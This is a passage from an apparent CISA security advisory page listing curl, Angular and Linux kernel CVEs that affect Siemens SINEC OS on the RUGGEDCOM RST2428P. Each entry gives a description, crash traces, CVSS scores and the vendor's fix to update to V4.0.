<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-3784</a></h3>
<div class="csaf-accordion-content">
<p>curl would wrongly reuse an existing HTTP proxy connection doing CONNECT to a server, even if the new request uses different credentials for the HTTP proxy. The proper behavior is to create or use a separate connection.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-3784">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/305.html">CWE-305 Authentication Bypass by Primary Weakness</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22610</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0, a cross-site scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the href and xlink:href attributes of SVG elements as a Resource URL context. This issue has been patched in versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22610">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22976</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_qfq: Fix NULL deref when deactivating inactive aggregate in qfq_reset `qfq_class-&gt;leaf_qdisc-&gt;q.qlen &gt; 0` does not imply that the class itself is active. Two qfq_class objects may point to the same leaf_qdisc. This happens when: 1. one QFQ qdisc is attached to the dev as the root qdisc, and 2. another QFQ qdisc is temporarily referenced (e.g., via qdisc_get() / qdisc_put()) and is pending to be destroyed, as in function tc_new_tfilter. When packets are enqueued through the root QFQ qdisc, the shared leaf_qdisc-&gt;q.qlen increases. At the same time, the second QFQ qdisc triggers qdisc_put and qdisc_destroy: the qdisc enters qfq_reset() with its own q-&gt;q.qlen == 0, but its class's leaf qdisc-&gt;q.qlen &gt; 0. Therefore, the qfq_reset would wrongly deactivate an inactive aggregate and trigger a null-deref in qfq_deactivate_agg: [ 0.903172] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 0.903571] #PF: supervisor write access in kernel mode [ 0.903860] #PF: error_code(0x0002) - not-present page [ 0.904177] PGD 10299b067 P4D 10299b067 PUD 10299c067 PMD 0 [ 0.904502] Oops: Oops: 0002 [#1] SMP NOPTI [ 0.904737] CPU: 0 UID: 0 PID: 135 Comm: exploit Not tainted 6.19.0-rc3+ #2 NONE [ 0.905157] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 0.905754] RIP: 0010:qfq_deactivate_agg (include/linux/list.h:992 (discriminator 2) include/linux/list.h:1006 (discriminator 2) net/sched/sch_qfq.c:1367 (discriminator 2) net/sched/sch_qfq.c:1393 (discriminator 2)) [ 0.906046] Code: 0f 84 4d 01 00 00 48 89 70 18 8b 4b 10 48 c7 c2 ff ff ff ff 48 8b 78 08 48 d3 e2 48 21 f2 48 2b 13 48 8b 30 48 d3 ea 8b 4b 18 0 Code starting with the faulting instruction =========================================== 0: 0f 84 4d 01 00 00 je 0x153 6: 48 89 70 18 mov %rsi,0x18(%rax) a: 8b 4b 10 mov 0x10(%rbx),%ecx d: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 14: 48 8b 78 08 mov 0x8(%rax),%rdi 18: 48 d3 e2 shl %cl,%rdx 1b: 48 21 f2 and %rsi,%rdx 1e: 48 2b 13 sub (%rbx),%rdx 21: 48 8b 30 mov (%rax),%rsi 24: 48 d3 ea shr %cl,%rdx 27: 8b 4b 18 mov 0x18(%rbx),%ecx ... [ 0.907095] RSP: 0018:ffffc900004a39a0 EFLAGS: 00010246 [ 0.907368] RAX: ffff8881043a0880 RBX: ffff888102953340 RCX: 0000000000000000 [ 0.907723] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 [ 0.908100] RBP: ffff888102952180 R08: 0000000000000000 R09: 0000000000000000 [ 0.908451] R10: ffff8881043a0000 R11: 0000000000000000 R12: ffff888102952000 [ 0.908804] R13: ffff888102952180 R14: ffff8881043a0ad8 R15: ffff8881043a0880 [ 0.909179] FS: 000000002a1a0380(0000) GS:ffff888196d8d000(0000) knlGS:0000000000000000 [ 0.909572] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 0.909857] CR2: 0000000000000000 CR3: 0000000102993002 CR4: 0000000000772ef0 [ 0.910247] PKRU: 55555554 [ 0.910391] Call Trace: [ 0.910527] [ 0.910638] qfq_reset_qdisc (net/sched/sch_qfq.c:357 net/sched/sch_qfq.c:1485) [ 0.910826] qdisc_reset (include/linux/skbuff.h:2195 include/linux/skbuff.h:2501 include/linux/skbuff.h:3424 include/linux/skbuff.h:3430 net/sched/sch_generic.c:1036) [ 0.911040] __qdisc_destroy (net/sched/sch_generic.c:1076) [ 0.911236] tc_new_tfilter (net/sched/cls_api.c:2447) [ 0.911447] rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) [ 0.911663] ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:6861) [ 0.911894] netlink_rcv_skb (net/netlink/af_netlink.c:2550) [ 0.912100] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) [ 0.912296] ? __alloc_skb (net/core/skbuff.c:706) [ 0.912484] netlink_sendmsg (net/netlink/af ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22976">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sock: fix hardened usercopy panic in sock_recv_errqueue skbuff_fclone_cache was created without defining a usercopy region, [1] unlike skbuff_head_cache which properly whitelists the cb[] field. [2] This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled and the kernel attempts to copy sk_buff.cb data to userspace via sock_recv_errqueue() -&gt; put_cmsg(). The crash occurs when: 1. TCP allocates an skb using alloc_skb_fclone() (from skbuff_fclone_cache) [1] 2. The skb is cloned via skb_clone() using the pre-allocated fclone [3] 3. The cloned skb is queued to sk_error_queue for timestamp reporting 4. Userspace reads the error queue via recvmsg(MSG_ERRQUEUE) 5. sock_recv_errqueue() calls put_cmsg() to copy serr-&gt;ee from skb-&gt;cb [4] 6. __check_heap_object() fails because skbuff_fclone_cache has no usercopy whitelist [5] When cloned skbs allocated from skbuff_fclone_cache are used in the socket error queue, accessing the sock_exterr_skb structure in skb-&gt;cb via put_cmsg() triggers a usercopy hardening violation: [ 5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)! [ 5.382796] kernel BUG at mm/usercopy.c:102! [ 5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7 [ 5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 5.384903] RIP: 0010:usercopy_abort+0x6c/0x80 [ 5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff &lt;0f&gt; 0b 490 [ 5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246 [ 5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74 [ 5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0 [ 5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74 [ 5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001 [ 5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00 [ 5.384903] FS: 0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000 [ 5.384903] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0 [ 5.384903] PKRU: 55555554 [ 5.384903] Call Trace: [ 5.384903] [ 5.384903] __check_heap_object+0x9a/0xd0 [ 5.384903] __check_object_size+0x46c/0x690 [ 5.384903] put_cmsg+0x129/0x5e0 [ 5.384903] sock_recv_errqueue+0x22f/0x380 [ 5.384903] tls_sw_recvmsg+0x7ed/0x1960 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? schedule+0x6d/0x270 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? mutex_unlock+0x81/0xd0 [ 5.384903] ? __pfx_mutex_unlock+0x10/0x10 [ 5.384903] ? __pfx_tls_sw_recvmsg+0x10/0x10 [ 5.384903] ? _raw_spin_lock_irqsave+0x8f/0xf0 [ 5.384903] ? _raw_read_unlock_irqrestore+0x20/0x40 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 The crash offset 296 corresponds to skb2-&gt;cb within skbuff_fclones: - sizeof(struct sk_buff) = 232 - offsetof(struct sk_buff, cb) = 40 - offset of skb2.cb in fclones = 232 + 40 = 272 - crash offset 296 = 272 + 24 (inside sock_exterr_skb.ee) This patch uses a local stack variable as a bounce buffer to avoid the hardened usercopy check failure. [1] https://elixir.bootlin.com/linux/v6.12.62/source/net/ipv4/tcp.c#L885 [2] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5104 [3] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5566 [4] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5491 [5] https://elixir.bootlin.com/linux/v6.12.62/source/mm/slub.c#L5719</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23025</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: prevent pcp corruption with SMP=n The kernel test robot has reported: BUG: spinlock trylock failure on UP on CPU#0, kcompactd0/28 lock: 0xffff888807e35ef0, .magic: dead4ead, .owner: kcompactd0/28, .owner_cpu: 0 CPU: 0 UID: 0 PID: 28 Comm: kcompactd0 Not tainted 6.18.0-rc5-00127-ga06157804399 #1 PREEMPT 8cc09ef94dcec767faa911515ce9e609c45db470 Call Trace: __dump_stack (lib/dump_stack.c:95) dump_stack_lvl (lib/dump_stack.c:123) dump_stack (lib/dump_stack.c:130) spin_dump (kernel/locking/spinlock_debug.c:71) do_raw_spin_trylock (kernel/locking/spinlock_debug.c:?) _raw_spin_trylock (include/linux/spinlock_api_smp.h:89 kernel/locking/spinlock.c:138) __free_frozen_pages (mm/page_alloc.c:2973) ___free_pages (mm/page_alloc.c:5295) __free_pages (mm/page_alloc.c:5334) tlb_remove_table_rcu (include/linux/mm.h:? include/linux/mm.h:3122 include/asm-generic/tlb.h:220 mm/mmu_gather.c:227 mm/mmu_gather.c:290) ? __cfi_tlb_remove_table_rcu (mm/mmu_gather.c:289) ? rcu_core (kernel/rcu/tree.c:?) rcu_core (include/linux/rcupdate.h:341 kernel/rcu/tree.c:2607 kernel/rcu/tree.c:2861) rcu_core_si (kernel/rcu/tree.c:2879) handle_softirqs (arch/x86/include/asm/jump_label.h:36 include/trace/events/irq.h:142 kernel/softirq.c:623) __irq_exit_rcu (arch/x86/include/asm/jump_label.h:36 kernel/softirq.c:725) irq_exit_rcu (kernel/softirq.c:741) sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1052) RIP: 0010:_raw_spin_unlock_irqrestore (arch/x86/include/asm/preempt.h:95 include/linux/spinlock_api_smp.h:152 kernel/locking/spinlock.c:194) free_pcppages_bulk (mm/page_alloc.c:1494) drain_pages_zone (include/linux/spinlock.h:391 mm/page_alloc.c:2632) __drain_all_pages (mm/page_alloc.c:2731) drain_all_pages (mm/page_alloc.c:2747) kcompactd (mm/compaction.c:3115) kthread (kernel/kthread.c:465) ? __cfi_kcompactd (mm/compaction.c:3166) ? __cfi_kthread (kernel/kthread.c:412) ret_from_fork (arch/x86/kernel/process.c:164) ? __cfi_kthread (kernel/kthread.c:412) ret_from_fork_asm (arch/x86/entry/entry_64.S:255) Matthew has analyzed the report and identified that in drain_page_zone() we are in a section protected by spin_lock(&amp;pcp-&gt;lock) and then get an interrupt that attempts spin_trylock() on the same lock. The code is designed to work this way without disabling IRQs and occasionally fail the trylock with a fallback. However, the SMP=n spinlock implementation assumes spin_trylock() will always succeed, and thus it's normally a no-op. Here the enabled lock debugging catches the problem, but otherwise it could cause a corruption of the pcp structure. The problem has been introduced by commit 574907741599 ("mm/page_alloc: leave IRQs enabled for per-cpu page allocations"). The pcp locking scheme recognizes the need for disabling IRQs to prevent nesting spin_trylock() sections on SMP=n, but the need to prevent the nesting in spin_lock() has not been recognized. Fix it by introducing local wrappers that change the spin_lock() to spin_lock_iqsave() with SMP=n and use them in all places that do spin_lock(&amp;pcp-&gt;lock). [vbabka@suse.cz: add pcp_ prefix to the spin_lock_irqsave wrappers, per Steven]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23025">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: qcom: gpi: Fix memory leak in gpi_peripheral_config() Fix a memory leak in gpi_peripheral_config() where the original memory pointed to by gchan-&gt;config could be lost if krealloc() fails. The issue occurs when: 1. gchan-&gt;config points to previously allocated memory 2. krealloc() fails and returns NULL 3. The function directly assigns NULL to gchan-&gt;config, losing the reference to the original memory 4. The original memory becomes unreachable and cannot be freed Fix this by using a temporary variable to hold the krealloc() result and only updating gchan-&gt;config when the allocation succeeds. Found via static analysis and code review.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23030</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: phy: rockchip: inno-usb2: Fix a double free bug in rockchip_usb2phy_probe() The for_each_available_child_of_node() calls of_node_put() to release child_np in each success loop. After breaking from the loop with the child_np has been released, the code will jump to the put_child label and will call the of_node_put() again if the devm_request_threaded_irq() fails. These cause a double free bug. Fix by returning directly to avoid the duplicate of_node_put().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23030">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23031</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: can: gs_usb: gs_usb_receive_bulk_callback(): fix URB memory leak In gs_can_open(), the URBs for USB-in transfers are allocated, added to the parent-&gt;rx_submitted anchor and submitted. In the complete callback gs_usb_receive_bulk_callback(), the URB is processed and resubmitted. In gs_can_close() the URBs are freed by calling usb_kill_anchored_urbs(parent-&gt;rx_submitted). However, this does not take into account that the USB framework unanchors the URB before the complete function is called. This means that once an in-URB has been completed, it is no longer anchored and is ultimately not released in gs_can_close(). Fix the memory leak by anchoring the URB in the gs_usb_receive_bulk_callback() to the parent-&gt;rx_submitted anchor.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23031">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23032</a></h3>
<div class="csaf-accordion-content">
